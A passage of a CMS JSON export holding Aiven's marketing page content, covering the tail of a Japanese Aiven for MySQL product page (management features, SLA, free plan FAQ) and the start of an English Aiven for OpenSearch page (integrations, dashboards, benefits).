ンにリードレプリカを作成"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-3c447de8bd02a9d7250c6f73c5df8e757d5793d4-2956x1928-png","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"管理","text":[{"_key":"0118c98c83e1","_type":"block","children":[{"_key":"5c991f678b5a0","_type":"span","marks":[],"text":"Aiven Console (GUI) 、"},{"_key":"5c991f678b5a1","_type":"span","marks":["1f0b70e9abbf"],"text":"CLI"},{"_key":"5c991f678b5a2","_type":"span","marks":[],"text":"、または"},{"_key":"5c991f678b5a3","_type":"span","marks":["f39b6259338c"],"text":"Terraform"},{"_key":"5c991f678b5a4","_type":"span","marks":[],"text":"ツールを使用してMySQLクラスタを管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1f0b70e9abbf","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"},{"_key":"f39b6259338c","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"42616b8fec72","_type":"block","children":[{"_key":"62d99abc6dc20","_type":"span","marks":[],"text":"数クリックでスケールアップ、データベースのフォーク、アップグレード、レプリカの作成を実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cd9a76e7dcb6","_type":"block","children":[{"_key":"4dad704b16000","_type":"span","marks":["467680e68ee4"],"text":"オープンソースソフトウェア"},{"_key":"27ade2188477","_type":"span","marks":[],"text":"との互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"467680e68ee4","_type":"internalLink","internalLink":{"_ref":"227fce02-f6f1-4e82-a166-820dac2c21f5","_type":"reference"}}],"style":"normal"},{"_key":"4aea350f223e","_type":"block","children":[{"_key":"874053b666e90","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-88997ddc1ad58ebc6232b8e75358b694f97f17b6-3340x1696-png","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"サービス","text":[{"_key":"c08fecec8aa5","_type":"block","children":[{"_key":"a96e2ff47b7e0","_type":"span","marks":[],"text":"99.99%のアップタイムSLAを実現する自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4dcd573f24ac","_type":"block","children":[{"_key":"ea69450d1eb40","_type":"span","marks":[],"text":"高可用性プランには、読み取り専用レプリカとしても機能する1つまたは2つのスタンバイノードが付属"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e86202b41b52","_type":"block","children":[{"_key":"ac2d7e758be20","_type":"span","marks":[],"text":"スケーリング、アップグレードなどの管理運用時のダウンタイムゼロ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dcaa617f2881","_type":"block","children":[{"_key":"5c06b429c6a10","_type":"span","marks":["0ddab4e72b24"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"15aac33f7245","_type":"span","marks":[],"text":" - ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0ddab4e72b24","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"1eba8973d585","_type":"block","children":[{"_key":"b9853b0d64bd","_type":"span","marks":[],"text":"24時間365日100%サポート要員によるサポートオプション"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"信頼性、安全性、ロックインなし","variant":"mediaRight"},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":false,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/mysql","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"70ed1c203369","_type":"block","children":[{"_key":"58e40df4fa100","_type":"span","marks":[],"text":"Aiven for M3 and Aiven for M3 Aggregator入門、コアコンセプト、ハウツーなどをご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"Aivenドキュメント","title":"ドキュメント","variant":"default"},{"_key":"3fd39fa2e6b7","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"C1uHqSo76FttzNKfqvt25","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-5e4ac3e75c086ecb0ebf8038aa066cf66a45cae2-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"bab5d8c97cd0","_type":"block","children":[{"_key":"9b258e98ddf60","_type":"span","marks":[],"text":"MySQLは、多くの定評あるアプリケーションと相性の良い、伝統的なオープンソースリレーショナルデータベースです。その特徴や使用例について詳しくご紹介します。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"MySQLの基礎知識","variant":"default"},{"_key":"22780531c758c2815c4883cabec5af2c","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"1T7v4WU7Jn5ipK5AzGWgtD","_type":"reference"},"title":"詳細はこちら"},"image":{"_type":"mainImage","asset":{"_ref":"image-5f01eb55975cd66bf1ea61df97d0856ccee17509-1567x844-png","_type":"reference"}},"subtitle":[{"_key":"143b7257c168","_type":"block","children":[{"_key":"ff44394a7ae50","_type":"span","marks":[],"text":"Aivenは、PostgreSQLとMySQLの両方をマネージドサービスとして提供しています。両者は似ていますが、異なるニーズに対応しています。どちらを選ぶかはこちらでご確認ください。"}],"markDefs":[],"style":"normal"}],"tagline":"ブログ","title":"PostgreSQL®とMySQL®の使い分け","variant":"default"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"リソース","title":"Aiven for MySQLの使用方法についての説明"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"2e8efb03dc7f","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"2fc62868c704","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"},{"_key":"04b82822f069","_ref":"8a523089-6963-4c88-a767-1a29d588861c__i18n_ja","_type":"reference"},{"_key":"af18234ad890","_type":"accordionItem","id":"mysql-free-plan","panelText":[{"_key":"74fcb9ffba07","_type":"block","children":[{"_key":"a0023f1a08310","_type":"span","marks":[],"text":"MySQL無料プランに含まれるものは、以下の仕様で提供されます。"}],"markDefs":[],"style":"normal"},{"_key":"bd9c6302fa17","_type":"block","children":[{"_key":"e78c330bc4e80","_type":"span","marks":[],"text":"シングルノード"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dd007b0b1c65","_type":"block","children":[{"_key":"6615a9d767310","_type":"span","marks":[],"text":"1 CPU"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f46ffcb501c1","_type":"block","children":[{"_key":"aeff3752d35d0","_type":"span","marks":[],"text":"1GB RAM"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"db6cfedeeeb2","_type":"block","children":[{"_key":"ae4c936c4bef0","_type":"span","marks":[],"text":"5GBストレージ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b1ec4b0b6f88","_type":"block","children":[{"_key":"45fc2f69f97c0","_type":"span","marks":[],"text":"Webコンソール、CLI、API、Terraformプロバイダ、Kubernetesオペレータによる容易な管理"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a1b4487ba369","_type":"block","children":[{"_key":"8a5645eaf7710","_type":"span","marks":[],"text":"すぐに使えるモニタリング(メトリクスとログ)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"335ce65985d6","_type":"block","children":[{"_key":"02f2b333dee40","_type":"span","marks":[],"text":"バックアップ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2cd812d1151c","_type":"block","children":[{"_key":"a103eb8596430","_type":"span","marks":[],"text":"コミュニティサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"20bee2ca3ab7","_type":"block","children":[{"_key":"7782c567d1300","_type":"span","marks":[],"text":"ただし、Aivenプラットフォーム機能の一部はご利用いただけません。"}],"markDefs":[],"style":"normal"},{"_key":"a6873534fb7a","_type":"block","children":[{"_key":"9c824b4b16a70","_type":"span","marks":[],"text":"VPCピアリング、サービス統合、フォーキングはできません"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dfb18c13068f","_type":"block","children":[{"_key":"bdc9a02d179e0","_type":"span","marks":[],"text":"コネクションプーリングはありません"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"cd755364fb80","_type":"block","children":[{"_key":"f8231498df1c0","_type":"span","marks":[],"text":"コミュニティサポートのみです"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3a35d11e4e02","_type":"block","children":[{"_key":"4095c0b72ada0","_type":"span","marks":[],"text":"99.99% SLAは提供されません"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a86ae2934235","_type":"block","children":[{"_key":"2ff5d7b10ac70","_type":"span","marks":[],"text":"AWSの9リージョンのみに限定されます"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1aad67a9dcd3","_type":"block","children":[{"_key":"5d784ac8b2a4","_type":"span","marks":[],"text":"ユーザーおよび組織ごとに、1サービスタイプにつき、1サービスのみのご利用となります"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"MySQLの無料プランには何が含まれているのでしょうか?"},{"_key":"dc553700fb11","_ref":"e514e6cc-1088-4768-8a49-ea0e01ea7123__i18n_ja","_type":"reference"}],"rounded":false,"title":"よくある質問"}],"infoBanner":{"_ref":"5831708f-87f1-4e3b-84a7-3a24300d3689__i18n_ja","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven for MySQL - フルマネージドのSQLデータベースとRDBMS ✓ オールインワンオープンソースクラウドデータプラットフォーム ✓ 無料トライアル","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d3dd84f12e3b6ca025c9c06cdd822b041e84fdf7-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for MySQL\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"マネージドMySQL、MySQL as a Service、クラウドMySQL\",\n \"description\": \"Aiven for MySQL as a Serviceは、世界で最も普及しているオープンソースデータベースのマネージド・ホスティング版で、Google Cloud Platform、Amazon Web Services、Microsoft Azure、DigitalOcean、UpCloudの全地域で提供されます。\",\n \"featureList\": \"読み取り専用レプリカ、リモート読み取りレプリカ、データベースフォーク、ポイントインタイムリストア、Terraformサポート、Aivenメトリクス統合、VPCピアリング、高可用性、Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能、Microsoft Azureで利用可能、DigitalOceanで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/mysql\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースのSQLデータベース\",\n \"applicationSubCategory\": \"リレーショナルデータベース管理システム\"\n}","metaTitle":"Managed MySQLサービス|Aiven"},"service":{"_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},"slug":{"_type":"slug","current":"/mysql"},"title":"MySQL"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa__i18n_ja","_type":"reference"}],"_createdAt":"2022-05-26T13:50:00Z","_id":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_rev":"nsxTqRv7yl9rbYA812dgZf","_type":"product","_updatedAt":"2025-01-15T15:44:14Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for OpenSearch®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"description":[{"_key":"a4f5396902ba","_type":"block","children":[{"_key":"74d22464b9d40","_type":"span","marks":[],"text":"Get OpenSearch as a fully managed service, with a rich set of advanced plugins and dashboards to visualize your data – easily deployed in the cloud of your choice."}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"f648e8c506f2","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"1c146859ce27","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"7ed3933a65a3","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-cf3e434f13ef9ee9e46e1772832c1ec6f4e11c0b-1600x1194-png","_type":"reference"}},"imageSize":"default","primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/opensearch","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/opensearch","title":"See docs"},"title":"Aiven for OpenSearch®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"},"title":"Aiven for OpenSearch®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for OpenSearch®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"a83b8b8e1d7e","_type":"block","children":[{"_key":"87c82e18cbb10","_type":"span","marks":["strong"],"text":"Deploy true open source search and analytics with OpenSearch®"}],"markDefs":[],"style":"h3"},{"_key":"a0b1adfe3d33","_type":"block","children":[{"_key":"377e8d01c0f30","_type":"span","marks":[],"text":"Aiven for OpenSearch® is a fully managed distributed search and analytics suite, deployable in the cloud of your choice. Ideal for logs management, application and website search, analytical aggregations and more. OpenSearch is an open source fork derived from Elasticsearch."}],"markDefs":[],"style":"normal"},{"_key":"905f1a61e359","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"339d2fb9082e","_type":"block","children":[{"_key":"bf49261745ae0","_type":"span","marks":["49d3121274f3"],"text":"Get started with Aiven for OpenSearch (docs) "}],"markDefs":[{"_key":"49d3121274f3","_type":"link","href":"https://aiven.io/docs/products/opensearch/get-started"}],"style":"normal"},{"_key":"5cea451159f2","_type":"block","children":[{"_key":"bf49261745ae2","_type":"span","marks":["916b6cd60007"],"text":"What is OpenSearch? (blog"},{"_key":"72c6d4dfca2f","_type":"span","marks":[],"text":") "}],"markDefs":[{"_key":"916b6cd60007","_type":"internalLink","internalLink":{"_ref":"6ZvCHgvqQ4LdO9pcFMB13H","_type":"reference"}}],"style":"normal"},{"_key":"f2050acacf3f","_type":"block","children":[{"_key":"bf49261745ae5","_type":"span","marks":["7b45178cf577"],"text":"Migrate from Elasticsearch to OpenSearch (blog)"}],"markDefs":[{"_key":"7b45178cf577","_type":"internalLink","internalLink":{"_ref":"ABeD3aNbvwjtqXaZk6hiP","_type":"reference"}}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"49faef3a8193","_type":"block","children":[{"_key":"8e155a1084c10","_type":"span","marks":["strong"],"text":"Push data from Apache Kafka® and Apache Flink® to OpenSearch"}],"markDefs":[],"style":"h3"},{"_key":"1bdac3fc2fde","_type":"block","children":[{"_key":"7b2082a620c00","_type":"span","marks":[],"text":"Connect OpenSearch easily to your streaming data pipelines for analytics and visualization, using fully managed connectors between Aiven for Apache Kafka and Apache Flink."}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"97b41a48c5d0","_type":"block","children":[{"_key":"42473bfe887c0","_type":"span","marks":["7fe53d6407ad"],"text":"Create an OpenSearch sink connector (docs) "}],"markDefs":[{"_key":"7fe53d6407ad","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink"}],"style":"normal"},{"_key":"91a1fde73e3f","_type":"block","children":[{"_key":"42473bfe887c2","_type":"span","marks":["f9594fded89d"],"text":"Create an OpenSearch-based Apache Flink table (docs) "}],"markDefs":[{"_key":"f9594fded89d","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/connect-opensearch"}],"style":"normal"},{"_key":"dcb62e192b30","_type":"block","children":[{"_key":"42473bfe887c4","_type":"span","marks":["45dac001af87"],"text":"Get started with Aiven for Apache Flink (docs) "}],"markDefs":[{"_key":"45dac001af87","_type":"link","href":"https://aiven.io/docs/products/flink/get-started"}],"style":"normal"},{"_key":"4ded4da574c8","_type":"block","children":[{"_key":"42473bfe887c6","_type":"span","marks":["2d402e187559"],"text":"Get Started with Aiven for Apache Kafka (docs)"}],"markDefs":[{"_key":"2d402e187559","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/getting-started"}],"style":"normal"}]},{"_key":"5627270af86a","_type":"textItem","content":[{"_key":"931d8bba9fcd","_type":"block","children":[{"_key":"e80bb193e2390","_type":"span","marks":["strong"],"text":"Push logs from all Aiven services to OpenSearch"}],"markDefs":[],"style":"h3"},{"_key":"549e8ff4252d","_type":"block","children":[{"_key":"942746e77ab90","_type":"span","marks":[],"text":"Store, search, and analyze logs at scale with OpenSearch. Use built-in integrations to receive logs from any other Aiven service, and utilize OpenSearch dashboards to quickly search and troubleshoot your logs."}],"markDefs":[],"style":"normal"},{"_key":"515f2cd1850b","_type":"block","children":[{"_key":"0dae282a206d0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"986ff8a8bb17","_type":"block","children":[{"_key":"d36ecada44d70","_type":"span","marks":["485f915049e8"],"text":"Manage OpenSearch log integration (doc)"}],"markDefs":[{"_key":"485f915049e8","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/howto/opensearch-log-integration"}],"style":"normal"},{"_key":"ff8eb0c3daf2","_type":"block","children":[{"_key":"d36ecada44d72","_type":"span","marks":["6853698d214a"],"text":"How to enable OpenSearch log integration (video)"}],"markDefs":[{"_key":"6853698d214a","_type":"link","href":"https://www.youtube.com/watch?v=f4y9nPadO-M"}],"style":"normal"}]},{"_key":"b4cd2ac7dbf7","_type":"textItem","content":[{"_key":"4f21cf7ecec0","_type":"block","children":[{"_key":"2f1464c747fa0","_type":"span","marks":["strong"],"text":"Get the big picture on your data with OpenSearch as a source to Grafana®"}],"markDefs":[],"style":"h3"},{"_key":"123822e8ca6f","_type":"block","children":[{"_key":"bba483a136160","_type":"span","marks":[],"text":"Easily add Grafana and set up a single visualization and monitoring dashboard for all your metrics (from, for example, M3) and logs (from OpenSearch)."}],"markDefs":[],"style":"normal"},{"_key":"1b2627c09859","_type":"block","children":[{"_key":"3104d2ada0970","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"56916a9c6c8c","_type":"block","children":[{"_key":"2f7d713a59990","_type":"span","marks":["90496b7ae969"],"text":"What is Aiven for Grafana (docs)"}],"markDefs":[{"_key":"90496b7ae969","_type":"link","href":"https://docs.aiven.io/docs/products/grafana"}],"style":"normal"},{"_key":"1656037d0276","_type":"block","children":[{"_key":"2f7d713a59992","_type":"span","marks":["1bf24bdbacfe"],"text":"Get started with Grafana(docs)"}],"markDefs":[{"_key":"1bf24bdbacfe","_type":"link","href":"https://docs.aiven.io/docs/products/grafana/get-started"}],"style":"normal"}]},{"_key":"b66441d94eb4","_type":"textItem","content":[{"_key":"8653e96d4046","_type":"block","children":[{"_key":"6e1772228b5f0","_type":"span","marks":["strong"],"text":"Integrate with your favorite external logging and monitoring tools"}],"markDefs":[],"style":"h3"},{"_key":"454f9db904f3","_type":"block","children":[{"_key":"4625c89fc1800","_type":"span","marks":[],"text":"Easy integrations with familiar tools like Datadog, Prometheus, AWS CloudWatch, Elasticsearch, and more. Or get enhanced monitoring and logging using Aiven services for M3, Grafana and OpenSearch. Expose your server or service specific metrics to external endpoints to monitor the health of your OpenSearch cluster."}],"markDefs":[],"style":"normal"},{"_key":"92c058b43ced","_type":"block","children":[{"_key":"f52de866f55b0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"53c6235bf6d6","_type":"block","children":[{"_key":"19a02afa14190","_type":"span","marks":["643f3d94e45f"],"text":"Manage OpenSearch log integration (docs) "}],"markDefs":[{"_key":"643f3d94e45f","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/howto/opensearch-log-integration"}],"style":"normal"},{"_key":"4ac6708b37cd","_type":"block","children":[{"_key":"19a02afa14192","_type":"span","marks":["731ebd47d0e3"],"text":"Getting started with Datadog (docs)"}],"markDefs":[{"_key":"731ebd47d0e3","_type":"link","href":"https://docs.aiven.io/docs/integrations/datadog"}],"style":"normal"},{"_key":"f0a823a8b487","_type":"block","children":[{"_key":"19a02afa14194","_type":"span","marks":["649cdc8dcd23"],"text":"Rsyslog protocol - Integrate with an external monitoring system (docs)"}],"markDefs":[{"_key":"649cdc8dcd23","_type":"link","href":"https://help.aiven.io/en/articles/2933115-remote-syslog-integration"}],"style":"normal"},{"_key":"3654b95dadca","_type":"block","children":[{"_key":"19a02afa14196","_type":"span","marks":["712f6b664da6"],"text":"See all integrations and connectors (web page)"}],"markDefs":[{"_key":"712f6b664da6","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"}]},{"_key":"35e7f7792fe0","_type":"textItem","content":[{"_key":"c7f5c5fcdaa5","_type":"block","children":[{"_key":"6e3234a880120","_type":"span","marks":["strong"],"text":"Analyze and visualize your data with OpenSearch Dashboards"}],"markDefs":[],"style":"h3"},{"_key":"5da1b853dddf","_type":"block","children":[{"_key":"5603a2826dcc0","_type":"span","marks":[],"text":"OpenSearch Dashboards is both a visualization tool for data and a user interface for OpenSearch plugins. Included as part of Aiven for OpenSearch®, our plug-ins include OpenSearch specific extensions."}],"markDefs":[],"style":"normal"},{"_key":"ef4aef9333d0","_type":"block","children":[{"_key":"ef001e2f2cf50","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"a3edb6dc7e6d","_type":"block","children":[{"_key":"6afb019079e10","_type":"span","marks":["a0bc37ce97c4"],"text":"Get started with OpenSearch Dashboards (docs)"}],"markDefs":[{"_key":"a0bc37ce97c4","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/dashboards"}],"style":"normal"},{"_key":"21b00d9e233c","_type":"block","children":[{"_key":"6afb019079e12","_type":"span","marks":["7d80e67987f4"],"text":"OpenSearch plugins (docs)"}],"markDefs":[{"_key":"7d80e67987f4","_type":"link","href":"https://docs.aiven.io/docs/products/opensearch/reference/plugins"}],"style":"normal"},{"_key":"a45d6deaa16f","_type":"block","children":[{"_key":"6afb019079e14","_type":"span","marks":["3ddd314be989"],"text":"Migrate from Elasticsearch to OpenSearch (blog)"}],"markDefs":[{"_key":"3ddd314be989","_type":"internalLink","internalLink":{"_ref":"ABeD3aNbvwjtqXaZk6hiP","_type":"reference"}}],"style":"normal"}]}],"subtitle":[{"_key":"1af5bd9ed5fe","_type":"block","children":[{"_key":"d74be31d037c0","_type":"span","marks":[],"text":"OpenSearch is the truly open source Elasticsearch alternative. With Aiven, you can set up fully managed OpenSearch clusters in under 10 minutes — directly from our intuitive web console, or with code via our API, CLI or Terraform provider. Visualize your search and analytics results with built-in OpenSearch Dashboards, and feel confident in your setup with logs and metrics easily available via service integrations."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What is OpenSearch like with Aiven?","tools":[{"_key":"92b284cfbd63","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"2040906943dd","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"opensearch"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-153e71062bf77d01b33f0faef08cdd21d706c3a4-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"041ff3534ef9","_type":"block","children":[{"_key":"8d5b15a29fe10","_type":"span","marks":[],"text":"Forked from Elasticsearch 7.10.2 and Kibana 7.10.2, Aiven for OpenSearch is the truly open search and analytics suite that’s immediately familiar."}],"markDefs":[],"style":"normal"}],"title":"The open source alternative to Elasticsearch."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ac6bcb5a619c","_type":"block","children":[{"_key":"987b7a5a638c0","_type":"span","marks":[],"text":"Downtime is a disaster for critical applications. That’s why Aiven makes sure you get 99.99% uptime. Plus, you get access to a 100% human support team — in case you need a helping hand."}],"markDefs":[],"style":"normal"}],"title":"99.99% uptime. 100% human support."},{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f0f566427ca8","_type":"block","children":[{"_key":"36f2d7715b500","_type":"span","marks":[],"text":"Increase your storage, get more nodes, create new clusters or expand to new regions. OpenSearch has never been this easy."}],"markDefs":[],"style":"normal"}],"title":"Scale up or scale down as you need."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0b94cf0d821bb1800ef640bd1e8458b2c43c8218-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b71cde196181","_type":"block","children":[{"_key":"bc3d64330e130","_type":"span","marks":[],"text":"Aiven provides a powerful set of default extensions – including SQL support, anomaly detection, and phonetic analysis."}],"markDefs":[],"style":"normal"}],"title":"Rich set of extensions out of the box."}],"id":"benefits","rounded":false,"subtitle":[{"_key":"9e871bc87406","_type":"block","children":[{"_key":"17460eac2e490","_type":"span","marks":[],"text":"With Aiven’s hosted and fully managed OpenSearch, you can set up clusters, deploy new nodes, migrate clouds and fork databases in a single mouse click, and monitor everything with OpenSearch Dashboards."}],"markDefs":[],"style":"normal"},{"_key":"9d3f8fcf4d75","_type":"block","children":[{"_key":"89e355df179d0","_type":"span","marks":[],"text":"Get the most from OpenSearch’s rich set of search analytics capabilities by deploying and connecting to our other open source services, all with multicloud support and no vendor lock-in."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of OpenSearch® as-a-service from 